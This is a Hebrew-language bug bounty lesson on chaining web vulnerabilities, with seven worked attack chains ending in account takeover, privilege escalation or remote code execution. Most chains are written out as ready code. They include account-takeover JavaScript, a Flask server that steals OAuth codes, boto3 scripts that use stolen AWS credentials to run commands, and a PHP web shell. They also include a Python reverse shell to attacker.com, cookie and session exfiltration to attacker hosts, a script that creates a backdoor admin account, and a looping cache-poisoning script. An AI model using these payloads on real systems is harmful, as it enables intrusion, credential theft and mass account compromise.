לדלג לתוכן

שרשור חולשות - Vulnerability Chaining

מהו chaining חולשות?

הchaining חולשות הוא הטכניקה של חיבור מספר חולשות אבטחה - שלעיתים כל אחת מהן לבדה אינה קריטית - לשרשרת תקיפה אחת שמשיגה אימפקט הרסני. זוהי אחת המיומנויות החשובות ביותר של חוקר אבטחה מנוסה.

חולשה בודדת ברמת Medium יכולה להיות משעממת. אבל כשמשרשרים שלוש חולשות ברמת Medium - התוצאה יכולה להיות Account Takeover מלא או RCE.


מתודולוגיה לchaining חולשות

שלב 1 - מיפוי שטח התקיפה

לפני שמתחילים לחפש שרשראות, צריך להבין את היישום לעומק:

Workflow:
1. Map all endpoints of the application
2. Identify authentication and authorization mechanisms
3. Understand the architecture (microservices, cloud, CDN)
4. Map data flows between components
5. Identify third-party integrations (OAuth, external APIs)

שלב 2 - מציאת חולשות בודדות

לאסוף כל חולשה, גם אם נראית חסרת ערך:

  • Open Redirect שנראה לא מנוצל
  • Self-XSS שדורש אינטראקציה
  • SSRF שמוגבל לפרוטוקולים מסוימים
  • חשיפת מידע שנראית לא רגישה
  • IDOR שחושף רק מידע ציבורי

שלב 3 - זיהוי חיבורים

לחפש קשרים בין החולשות:

Key questions:
- Can the output of one vulnerability serve as input to another?
- Does one vulnerability provide access required to exploit another vulnerability?
- Does one vulnerability bypass a protection that prevents exploiting another vulnerability?
- Does combining vulnerabilities raise the impact level?

שלב 4 - בניית שרשרת הexploit

לתכנן ולתעד את הזרימה המלאה מתחילתה ועד סופה.


שרשרת 1 - XSS ל-CSRF ל-Account Takeover

הרעיון

משרשרים XSS שמאפשר הרצת JavaScript בהקשר של הקורבן, עם CSRF שמבצע פעולות בשם הקורבן, כדי להשיג השתלטות מלאה על החשבון.

שלב א - מציאת XSS

נניח שמצאנו Stored XSS בשדה הפרופיל:

POST /api/profile HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{
  "bio": "<img src=x onerror='eval(atob(\"BASE64_PAYLOAD\"))'>"
}

שלב ב - בדיקת CSRF על שינוי סיסמה

נבדוק את נקודת הקצה לשינוי סיסמה:

POST /api/change-password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{
  "new_password": "hacked123",
  "confirm_password": "hacked123"
}

אם אין CSRF token או שהוא לא נבדק - יש לנו CSRF.

שלב ג - בניית הexploit המשורשר

// The code injected via the XSS
(async () => {
  // Step 1 - change the victim's password
  await fetch('/api/change-password', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({
      new_password: 'attacker_password_123',
      confirm_password: 'attacker_password_123'
    })
  });

  // Step 2 - change the victim's email
  await fetch('/api/change-email', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({
      new_email: 'attacker@evil.com'
    })
  });

  // Step 3 - send the data to the attacker's server
  const userData = await fetch('/api/me', {credentials: 'include'});
  const data = await userData.json();

  navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
    username: data.username,
    email: 'attacker@evil.com',
    status: 'account_taken_over'
  }));
})();

זרימת התקיפה המלאה

1. Attacker injects XSS into their own profile
2. Victim views the attacker's profile
3. The XSS fires in the victim's browser
4. JavaScript changes the victim's password and email
5. Attacker logs in with the new password - full Account Takeover

שרשרת 2 - Open Redirect ל-OAuth Token Theft

הרעיון

הexploit Open Redirect באתר היעד כדי לגנוב tokens של OAuth.

שלב א - מציאת Open Redirect

GET /redirect?url=https://evil.com HTTP/1.1
Host: target.com

HTTP/1.1 302 Found
Location: https://evil.com

שלב ב - הבנת זרימת ה-OAuth

Normal flow:
1. User clicks "Sign in with Google"
2. Redirected to: https://accounts.google.com/o/oauth2/auth?
     client_id=TARGET_CLIENT_ID&
     redirect_uri=https://target.com/oauth/callback&
     response_type=code&
     scope=email+profile&
     state=RANDOM_STATE
3. User approves
4. Google redirects back to: https://target.com/oauth/callback?code=AUTH_CODE&state=RANDOM_STATE
5. target.com exchanges the code for an access token

שלב ג - exploit ל-Open Redirect כ-redirect_uri

Attack:
1. Attacker sends the victim a link:
   https://accounts.google.com/o/oauth2/auth?
     client_id=TARGET_CLIENT_ID&
     redirect_uri=https://target.com/redirect?url=https://evil.com/steal&
     response_type=code&
     scope=email+profile&
     state=FAKE_STATE

2. Victim approves (sees that access is to target.com)
3. Google redirects to: https://target.com/redirect?url=https://evil.com/steal&code=AUTH_CODE
4. The Open Redirect redirects to: https://evil.com/steal?code=AUTH_CODE
5. Attacker obtained the authorization code!

שרת לגניבת הטוקן

from flask import Flask, request
import requests

app = Flask(__name__)

TARGET_CLIENT_ID = "target_client_id"
TARGET_CLIENT_SECRET = "target_client_secret"

@app.route('/steal')
def steal_token():
    auth_code = request.args.get('code')

    # Exchange the code for an access token
    token_response = requests.post('https://target.com/oauth/token', data={
        'grant_type': 'authorization_code',
        'code': auth_code,
        'redirect_uri': 'https://target.com/oauth/callback',
        'client_id': TARGET_CLIENT_ID,
        'client_secret': TARGET_CLIENT_SECRET
    })

    access_token = token_response.json().get('access_token')

    # Use the token to access the victim's account
    user_info = requests.get('https://target.com/api/me', headers={
        'Authorization': f'Bearer {access_token}'
    })

    with open('stolen_tokens.log', 'a') as f:
        f.write(f"Token: {access_token}\nUser: {user_info.text}\n\n")

    return "Error occurred", 500  # Hide the attack

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

שרשרת 3 - SSRF ל-Cloud Metadata ל-RCE

הרעיון

הexploit SSRF כדי לגשת לשירות ה-metadata של הענן, גניבת credentials, ושימוש בהם להשגת RCE.

שלב א - מציאת SSRF

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/"
}

תגובה:

ami-id
ami-launch-index
ami-manifest-path
hostname
iam/
instance-id
instance-type
local-ipv4
public-ipv4
security-groups

שלב ב - גניבת AWS Credentials

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

תגובה:

ec2-production-role

בקשה נוספת:

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"
}

תגובה:

{
  "Code": "Success",
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "wJalrXXXXXXXXXXXXXXXXXXX",
  "Token": "FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX",
  "Expiration": "2026-03-08T12:00:00Z"
}

שלב ג - שימוש ב-Credentials להשגת RCE

import boto3
import json

# Use the stolen credentials
session = boto3.Session(
    aws_access_key_id='ASIAXXXXXXXXXXX',
    aws_secret_access_key='wJalrXXXXXXXXXXXXXXXXXXX',
    aws_session_token='FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX',
    region_name='us-east-1'
)

# Check permissions
sts = session.client('sts')
identity = sts.get_caller_identity()
print(f"[+] ARN: {identity['Arn']}")

# Attempt to access S3
s3 = session.client('s3')
buckets = s3.list_buckets()
print(f"[+] Buckets: {[b['Name'] for b in buckets['Buckets']]}")

# Attempt to run commands via SSM
ssm = session.client('ssm')
response = ssm.send_command(
    InstanceIds=['i-0abcdef1234567890'],
    DocumentName='AWS-RunShellScript',
    Parameters={'commands': ['id; whoami; cat /etc/shadow']}
)
print(f"[+] Command sent: {response['Command']['CommandId']}")

# Attempt to run a Lambda function
lambda_client = session.client('lambda')
response = lambda_client.invoke(
    FunctionName='admin-function',
    Payload=json.dumps({'command': 'cat /etc/passwd'})
)
print(f"[+] Result: {response['Payload'].read().decode()}")

שרשרת IMDSv2

בסביבות עם IMDSv2, צריך שלב נוסף - קבלת token:

PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

ואז שימוש בו:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE

שרשרת 4 - IDOR ל-Information Disclosure ל-Privilege Escalation

שלב א - מציאת IDOR

GET /api/users/1001 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session

HTTP/1.1 200 OK
{
  "id": 1001,
  "name": "Regular User",
  "email": "user@target.com",
  "role": "user"
}

שינוי ה-ID:

GET /api/users/1 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session

HTTP/1.1 200 OK
{
  "id": 1,
  "name": "Admin User",
  "email": "admin@target.com",
  "role": "admin",
  "api_key": "sk-admin-a8f3b2c1d4e5f6789",
  "internal_ip": "10.0.1.50",
  "last_login_ip": "192.168.1.100"
}

שלב ב - שימוש במידע שהתגלה

import requests

# Use the admin's API key
headers = {
    'X-API-Key': 'sk-admin-a8f3b2c1d4e5f6789',
    'Content-Type': 'application/json'
}

# Privilege escalation - change our role to admin
response = requests.put(
    'https://target.com/api/admin/users/1001',
    headers=headers,
    json={'role': 'admin'}
)
print(f"[+] Privilege escalation: {response.status_code}")

# Access the admin panel
admin_panel = requests.get(
    'https://target.com/api/admin/dashboard',
    headers=headers
)
print(f"[+] Panel access: {admin_panel.text[:200]}")

סקריפט אוטומטי לסריקת IDOR

import requests
import json
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "https://target.com/api/users"
SESSION_COOKIE = "session=regular_user_session"

def check_user(user_id):
    try:
        response = requests.get(
            f"{BASE_URL}/{user_id}",
            headers={'Cookie': SESSION_COOKIE},
            timeout=5
        )
        if response.status_code == 200:
            data = response.json()
            if data.get('role') == 'admin':
                print(f"[!] Found admin - ID: {user_id}, "
                      f"Name: {data.get('name')}, "
                      f"Email: {data.get('email')}")
                return data
    except Exception:
        pass
    return None

# Parallel scan
with ThreadPoolExecutor(max_workers=10) as executor:
    results = list(executor.map(check_user, range(1, 10000)))
    admins = [r for r in results if r is not None]
    print(f"\n[+] Found {len(admins)} admin accounts")

שרשרת 5 - SQL Injection ל-File Write ל-RCE

שלב א - זיהוי SQL Injection

GET /search?q=test' OR 1=1-- HTTP/1.1
Host: target.com

שלב ב - כתיבת Web Shell דרך INTO OUTFILE

GET /search?q=test' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php'-- HTTP/1.1
Host: target.com

אם יש הגבלה על INTO OUTFILE, ניתן לנסות דרך log poisoning:

-- Change the log path
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/uploads/shell.php';

-- Inject PHP via a query
SELECT '<?php system($_GET["cmd"]); ?>';

-- Turn off the log
SET GLOBAL general_log = 'OFF';

שלב ג - הרצת פקודות דרך ה-Web Shell

import requests

SHELL_URL = "https://target.com/uploads/shell.php"

def execute(cmd):
    response = requests.get(SHELL_URL, params={'cmd': cmd})
    return response.text

# Initial scan
print(execute('id'))
print(execute('uname -a'))
print(execute('cat /etc/passwd'))

# Reverse shell
reverse_shell = (
    "python3 -c 'import socket,subprocess,os;"
    "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
    "s.connect((\"attacker.com\",4444));"
    "os.dup2(s.fileno(),0);"
    "os.dup2(s.fileno(),1);"
    "os.dup2(s.fileno(),2);"
    "subprocess.call([\"/bin/sh\",\"-i\"])'"
)
execute(reverse_shell)

שרשרת 6 - Prototype Pollution ל-XSS ל-Admin Account Takeover

שלב א - מציאת Prototype Pollution

// Endpoint that receives JSON and does a deep merge
// POST /api/settings
// {"__proto__": {"isAdmin": true}}

// Or via query parameters:
// GET /page?__proto__[polluted]=true

שלב ב - exploit ל-XSS

POST /api/user/settings HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "__proto__": {
    "innerHTML": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>",
    "srcdoc": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
    "onload": "fetch('https://attacker.com/steal?c='+document.cookie)"
  }
}

שלב ג - גניבת סשן אדמין

// The code that runs in the admin's context
(async () => {
  // Steal the cookie
  const cookies = document.cookie;

  // Steal the CSRF token
  const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

  // Create a new admin account
  await fetch('/admin/users/create', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken
    },
    credentials: 'include',
    body: JSON.stringify({
      username: 'backdoor_admin',
      password: 'P@ssw0rd123!',
      role: 'super_admin',
      email: 'attacker@evil.com'
    })
  });

  // Send all the data to the attacker
  navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify({
    cookies, csrfToken,
    url: window.location.href
  }));
})();

שרשרת 7 - Cache Poisoning ל-Stored XSS ל-Mass Account Compromise

שלב א - זיהוי Cache Poisoning

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
X-Cache: miss
...
<script src="https://evil.com/resources/main.js"></script>

בקשה נוספת (מהcache):

GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
X-Cache: hit
...
<script src="https://evil.com/resources/main.js"></script>

שלב ב - הגשת JavaScript זדוני

הקובץ main.js בשרת התוקף:

// Step 1 - steal data from every visitor
const sessionData = {
  cookies: document.cookie,
  localStorage: JSON.stringify(localStorage),
  url: window.location.href,
  userAgent: navigator.userAgent
};

// Step 2 - attempt to change password if the user is logged in
async function compromiseAccount() {
  try {
    // Check if the user is logged in
    const meResponse = await fetch('/api/me', {credentials: 'include'});
    if (meResponse.status !== 200) return;

    const user = await meResponse.json();

    // Change the email
    await fetch('/api/settings/email', {
      method: 'PUT',
      headers: {'Content-Type': 'application/json'},
      credentials: 'include',
      body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
    });

    // Request a password reset to the new email
    await fetch('/api/reset-password', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
    });

    sessionData.userId = user.id;
    sessionData.username = user.username;
    sessionData.compromised = true;
  } catch (e) {
    sessionData.error = e.message;
  }

  // Send the data
  navigator.sendBeacon('https://attacker.com/mass-collect',
    JSON.stringify(sessionData));
}

compromiseAccount();

שלב ג - הרחבת ההתקפה

import requests
import time

def poison_cache(target_url, evil_host):
    """Continuously poison the cache"""
    while True:
        for path in ['/', '/login', '/dashboard', '/profile']:
            response = requests.get(
                f"{target_url}{path}",
                headers={
                    'X-Forwarded-Host': evil_host,
                    'X-Forwarded-Scheme': 'https'
                }
            )
            cache_status = response.headers.get('X-Cache', 'unknown')
            print(f"[*] {path}: Cache={cache_status}")

        # Maintain the cache poisoning
        time.sleep(30)

poison_cache('https://target.com', 'evil.com')

איך לזהות חולשות הניתנות לchaining

מטריצת chaining

Source (first vulnerability)    ->    Target (second vulnerability)
================================================
XSS                     ->    CSRF, Session Hijacking, Keylogging
SSRF                    ->    Cloud Metadata, Internal Services, Port Scan
Open Redirect           ->    OAuth Theft, Phishing, Token Leakage
IDOR                    ->    Info Disclosure, Priv Escalation
SQLi                    ->    Data Leak, File Write, RCE
Prototype Pollution     ->    XSS, Logic Bypass, DoS
Cache Poisoning         ->    XSS, Phishing, Mass Compromise
CORS Misconfiguration   ->    Data Theft, CSRF
CRLF Injection          ->    XSS, Session Fixation, Cache Poisoning
Path Traversal          ->    Source Code Disclosure, Config Leak

כלים לזיהוי שרשראות

# Simple script that maps potential vulnerabilities and suggests chains
CHAINS = {
    'xss': ['csrf', 'session_hijack', 'account_takeover'],
    'ssrf': ['metadata', 'internal_scan', 'rce'],
    'open_redirect': ['oauth_theft', 'phishing'],
    'idor': ['info_disclosure', 'privilege_escalation'],
    'sqli': ['file_write', 'rce', 'data_exfiltration'],
    'prototype_pollution': ['xss', 'logic_bypass'],
    'cache_poisoning': ['xss', 'mass_compromise'],
}

def suggest_chains(found_vulns):
    """Suggest chains based on vulnerabilities found"""
    suggestions = []
    for vuln in found_vulns:
        if vuln in CHAINS:
            for target in CHAINS[vuln]:
                suggestions.append(f"{vuln} -> {target}")
                # Check a deeper chain
                if target in CHAINS:
                    for deep_target in CHAINS[target]:
                        suggestions.append(
                            f"{vuln} -> {target} -> {deep_target}"
                        )
    return suggestions

# Example
found = ['ssrf', 'open_redirect', 'xss']
for chain in suggest_chains(found):
    print(f"[*] Possible chain: {chain}")

הכפלת אימפקט

טבלת הסלמה

Original severity    Chain                              New severity
=================================================================
Low (XSS)       + CSRF + Password Change            = Critical
Low (SSRF)      + Cloud Metadata + RCE              = Critical
Info (IDOR)     + Admin API Key + Priv Escalation   = Critical
Medium (SQLi)   + File Write + Web Shell            = Critical
Low (Redirect)  + OAuth Theft + Account Takeover    = High
Low (PP)        + XSS + Admin Takeover              = Critical
Medium (Cache)  + XSS + Mass Compromise             = Critical

דוגמה מעולם באגים אמיתי

Report: Self-XSS in an internal notes field
Original severity: Informative (no payout)
Chain: Self-XSS + Login CSRF + Stored XSS + Admin Panel Access
New severity: Critical
Payout: $15,000

סיכום

הchaining חולשות דורש חשיבה יצירתית והבנה עמוקה של היישום. הנקודות העיקריות:

  1. אסוף כל חולשה - גם אם נראית חסרת ערך
  2. מפה קשרים בין חולשות - מהי הפלט של אחת שיכול להיות קלט לאחרת
  3. חשוב על זרימות - איך נתונים עוברים בין components
  4. תרגל - בנה שרשראות על יישומים פגיעים
  5. תעד הכל - שרשרת טובה שמתועדת גרוע שווה פחות

בשיעור הבא נלמד איך להפוך ממצאים ברמת Low לממצאים קריטיים.